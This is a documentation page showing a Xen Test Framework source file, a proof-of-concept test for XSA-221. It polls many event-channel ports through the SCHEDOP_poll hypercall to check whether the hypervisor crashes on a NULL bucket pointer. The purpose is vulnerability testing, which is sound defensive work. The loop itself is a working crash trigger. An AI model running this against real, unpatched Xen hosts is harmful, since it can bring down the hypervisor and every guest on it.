Xen Test Framework
tests
xsa-221
main.c
Go to the documentation of this file.
1
22
#include <xtf.h>
23
24
const
char
test_title
[] =
"XSA-221 PoC"
;
25
26
void
test_main
(
void
)
27
{
28
evtchn_port_t
port;
29
struct
sched_poll
poll = {
30
.
ports
= &port,
31
.nr_ports = 1,
32
.timeout = 1,
33
};
34
35
for
( port = 32; port <= 4096; ++port )
36
hypercall_sched_op
(
SCHEDOP_poll
, &poll);
37
38
/*
39
* If Xen is still alive at this point, it hasn't fallen over a NULL
40
* bucket pointer, which probably means that XSA-221 is fixed.
41
*/
42
xtf_success
(
"Success: Probably not vulnerable to XSA-221\n"
);
43
}
44
45
/*
46
* Local variables:
47
* mode: C
48
* c-file-style: "BSD"
49
* c-basic-offset: 4
50
* tab-width: 4
51
* indent-tabs-mode: nil
52
* End:
53
*/
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
evtchn_port_t
uint32_t evtchn_port_t
Definition:
event_channel.h:11
hypercall_sched_op
static long hypercall_sched_op(unsigned int cmd, void *arg)
Definition:
hypercall.h:157
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
SCHEDOP_poll
#define SCHEDOP_poll
Definition:
sched.h:12
sched_poll
Definition:
sched.h:19
sched_poll::ports
evtchn_port_t * ports
Definition:
sched.h:20
Generated by
1.9.4